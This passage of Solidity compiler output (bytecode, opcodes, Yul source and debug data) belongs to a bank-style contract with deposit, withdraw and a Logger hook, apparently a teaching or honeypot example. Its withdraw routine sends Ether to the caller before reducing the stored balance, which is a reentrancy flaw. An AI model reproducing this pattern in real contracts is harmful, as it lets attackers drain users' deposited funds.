"src": "1118:119:1"
},
{
"nodeType": "YulBlock",
"src": "1247:142:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1262:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1276:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1266:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1291:88:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1351:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1362:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1347:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1347:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1371:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_Logger_$116_fromMemory",
"nodeType": "YulIdentifier",
"src": "1301:45:1"
},
"nodeType": "YulFunctionCall",
"src": "1301:78:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1291:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_contract$_Logger_$116_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1078:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1089:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1101:6:1",
"type": ""
}
],
"src": "1017:379:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_Logger_$116(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_Logger_$116(value) {\n if iszero(eq(value, cleanup_t_contract$_Logger_$116(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_Logger_$116_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_Logger_$116(value)\n }\n\n function abi_decode_tuple_t_contract$_Logger_$116_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_Logger_$116_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50604051610940380380610940833981810160405281019061003291906100ee565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061011b565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a98261007e565b9050919050565b60006100bb8261009e565b9050919050565b6100cb816100b0565b81146100d657600080fd5b50565b6000815190506100e8816100c2565b92915050565b60006020828403121561010457610103610079565b5b6000610112848285016100d9565b91505092915050565b6108168061012a6000396000f3fe6080604052600436106100345760003560e01c806327e235e3146100395780632e1a7d4d14610076578063d0e30db01461009f575b600080fd5b34801561004557600080fd5b50610060600480360381019061005b919061041f565b6100a9565b60405161006d9190610465565b60405180910390f35b34801561008257600080fd5b5061009d600480360381019061009891906104ac565b6100c1565b005b6100a76102d6565b005b60006020528060005260406000206000915090505481565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013990610536565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff168260405161016890610587565b60006040518083038185875af1925050503d80600081146101a5576040519150601f19603f3d011682016040523d82523d6000602084013e6101aa565b606091505b50509050806101ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e5906105e8565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461023c9190610637565b92505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a1f2e8aa33846040518363ffffffff1660e01b81526004016102a09291906106c6565b600060405180830381600087803b1580156102ba57600080fd5b505af11580156102ce573d6000803e3d6000fd5b505050505050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546103249190610702565b92505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a1f2e8aa33346040518363ffffffff1660e01b81526004016103889291906107a4565b600060405180830381600087803b1580156103a257600080fd5b505af11580156103b6573d6000803e3d6000fd5b50505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103ec826103c1565b9050919050565b6103fc816103e1565b811461040757600080fd5b50565b600081359050610419816103f3565b92915050565b600060208284031215610435576104346103bc565b5b60006104438482850161040a565b91505092915050565b6000819050919050565b61045f8161044c565b82525050565b600060208201905061047a6000830184610456565b92915050565b6104898161044c565b811461049457600080fd5b50565b6000813590506104a681610480565b92915050565b6000602082840312156104c2576104c16103bc565b5b60006104d084828501610497565b91505092915050565b600082825260208201905092915050565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b60006105206012836104d9565b915061052b826104ea565b602082019050919050565b6000602082019050818103600083015261054f81610513565b9050919050565b600081905092915050565b50565b6000610571600083610556565b915061057c82610561565b600082019050919050565b600061059282610564565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b60006105d26014836104d9565b91506105dd8261059c565b602082019050919050565b60006020820190508181036000830152610601816105c5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006106428261044c565b915061064d8361044c565b9250828210156106605761065f610608565b5b828203905092915050565b610674816103e1565b82525050565b7f5769746864726177000000000000000000000000000000000000000000000000600082015250565b60006106b06008836104d9565b91506106bb8261067a565b602082019050919050565b60006060820190506106db600083018561066b565b6106e86020830184610456565b81810360408301526106f9816106a3565b90509392505050565b600061070d8261044c565b91506107188361044c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561074d5761074c610608565b5b828201905092915050565b7f4465706f73697400000000000000000000000000000000000000000000000000600082015250565b600061078e6007836104d9565b915061079982610758565b602082019050919050565b60006060820190506107b9600083018561066b565b6107c66020830184610456565b81810360408301526107d781610781565b9050939250505056fea264697066735822122044db4388a44eb96c380880e994b7e2d63024bcc066b0720139136f42d876168a64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x940 CODESIZE SUB DUP1 PUSH2 0x940 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0xEE JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x11B JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xA9 DUP3 PUSH2 0x7E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xBB DUP3 PUSH2 0x9E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xCB DUP2 PUSH2 0xB0 JUMP JUMPDEST DUP2 EQ PUSH2 0xD6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xE8 DUP2 PUSH2 0xC2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x104 JUMPI PUSH2 0x103 PUSH2 0x79 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x112 DUP5 DUP3 DUP6 ADD PUSH2 0xD9 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x816 DUP1 PUSH2 0x12A PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0x2E1A7D4D EQ PUSH2 0x76 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x9F JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x45 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x60 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x41F JUMP JUMPDEST PUSH2 0xA9 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x6D SWAP2 SWAP1 PUSH2 0x465 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x82 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x9D PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x98 SWAP2 SWAP1 PUSH2 0x4AC JUMP JUMPDEST PUSH2 0xC1 JUMP JUMPDEST STOP JUMPDEST PUSH2 0xA7 PUSH2 0x2D6 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD DUP2 GT ISZERO PUSH2 0x142 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x139 SWAP1 PUSH2 0x536 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD PUSH2 0x168 SWAP1 PUSH2 0x587 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x1A5 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x1AA JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x1EE JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1E5 SWAP1 PUSH2 0x5E8 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST DUP2 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x23C SWAP2 SWAP1 PUSH2 0x637 JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA1F2E8AA CALLER DUP5 PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x2A0 SWAP3 SWAP2 SWAP1 PUSH2 0x6C6 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x2BA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2CE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x324 SWAP2 SWAP1 PUSH2 0x702 JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA1F2E8AA CALLER CALLVALUE PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x388 SWAP3 SWAP2 SWAP1 PUSH2 0x7A4 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x3A2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x3B6 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3EC DUP3 PUSH2 0x3C1 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3FC DUP2 PUSH2 0x3E1 JUMP JUMPDEST DUP2 EQ PUSH2 0x407 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x419 DUP2 PUSH2 0x3F3 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x435 JUMPI PUSH2 0x434 PUSH2 0x3BC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x443 DUP5 DUP3 DUP6 ADD PUSH2 0x40A JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x45F DUP2 PUSH2 0x44C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x47A PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x489 DUP2 PUSH2 0x44C JUMP JUMPDEST DUP2 EQ PUSH2 0x494 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x4A6 DUP2 PUSH2 0x480 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x4C2 JUMPI PUSH2 0x4C1 PUSH2 0x3BC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x4D0 DUP5 DUP3 DUP6 ADD PUSH2 0x497 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x496E73756666696369656E742066756E64730000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x520 PUSH1 0x12 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x52B DUP3 PUSH2 0x4EA JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x54F DUP2 PUSH2 0x513 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x571 PUSH1 0x0 DUP4 PUSH2 0x556 JUMP JUMPDEST SWAP2 POP PUSH2 0x57C DUP3 PUSH2 0x561 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x592 DUP3 PUSH2 0x564 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x5D2 PUSH1 0x14 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x5DD DUP3 PUSH2 0x59C JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x601 DUP2 PUSH2 0x5C5 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x642 DUP3 PUSH2 0x44C JUMP JUMPDEST SWAP2 POP PUSH2 0x64D DUP4 PUSH2 0x44C JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x660 JUMPI PUSH2 0x65F PUSH2 0x608 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x674 DUP2 PUSH2 0x3E1 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH32 0x5769746864726177000000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x6B0 PUSH1 0x8 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x6BB DUP3 PUSH2 0x67A JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x6DB PUSH1 0x0 DUP4 ADD DUP6 PUSH2 0x66B JUMP JUMPDEST PUSH2 0x6E8 PUSH1 0x20 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x6F9 DUP2 PUSH2 0x6A3 JUMP JUMPDEST SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x70D DUP3 PUSH2 0x44C JUMP JUMPDEST SWAP2 POP PUSH2 0x718 DUP4 PUSH2 0x44C JUMP JUMPDEST SWAP3 POP DUP3 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB DUP3 GT ISZERO PUSH2 0x74D JUMPI PUSH2 0x74C PUSH2 0x608 JUMP JUMPDEST JUMPDEST DUP3 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4465706F73697400000000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x78E PUSH1 0x7 DUP4 PUSH2 0x4D9 JUMP JUMPDEST SWAP2 POP PUSH2 0x799 DUP3 PUSH2 0x758 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x7B9 PUSH1 0x0 DUP4 ADD DUP6 PUSH2 0x66B JUMP JUMPDEST PUSH2 0x7C6 PUSH1 0x20 DUP4 ADD DUP5 PUSH2 0x456 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x7D7 DUP2 PUSH2 0x781 JUMP JUMPDEST SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 DIFFICULTY 0xDB NUMBER DUP9 LOG4 0x4E 0xB9 PUSH13 0x380880E994B7E2D63024BCC066 0xB0 PUSH19 0x139136F42D876168A64736F6C634300080C00 CALLER ",
"sourceMap": "58:630:0:-:0;;;144:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;198:7;182:6;;:24;;;;;;;;;;;;;;;;;;144:69;58:630;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:110::-;619:7;648:24;666:5;648:24;:::i;:::-;637:35;;568:110;;;:::o;684:150::-;771:38;803:5;771:38;:::i;:::-;764:5;761:49;751:77;;824:1;821;814:12;751:77;684:150;:::o;840:171::-;911:5;942:6;936:13;927:22;;958:47;999:5;958:47;:::i;:::-;840:171;;;;:::o;1017:379::-;1101:6;1150:2;1138:9;1129:7;1125:23;1121:32;1118:119;;;1156:79;;:::i;:::-;1118:119;1276:1;1301:78;1371:7;1362:6;1351:9;1347:22;1301:78;:::i;:::-;1291:88;;1247:142;1017:379;;;;:::o;58:630:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@balances_5": {
"entryPoint": 169,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
},
"@deposit_43": {
"entryPoint": 726,
"id": 43,
"parameterSlots": 0,
"returnSlots": 0
},
"@withdraw_90": {
"entryPoint": 193,
"id": 90,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_address": {
"entryPoint": 1034,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 1175,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_address": {
"entryPoint": 1055,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 1196,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 1643,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1477,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1299,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1699,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 1380,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2_to_t_string_memory_ptr_fromStack": {
"entryPoint": 1921,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 1110,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 1415,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_address_t_uint256_t_stringliteral_8d7f87ab38a7f75a63dc465e10aadacecfca64c44ca774040b039bfb004e3367__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1734,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_encode_tuple_t_address_t_uint256_t_stringliteral_e09149d2123147c5f43d258257fef0b7b969db78269369ebcf5ebb9eef8592f2__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1956,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1512,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_63452317cb6d597bef833f023ed2962a84dbd24c571e27629ed1e3056d6cfd8d__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 1334,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 1125,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
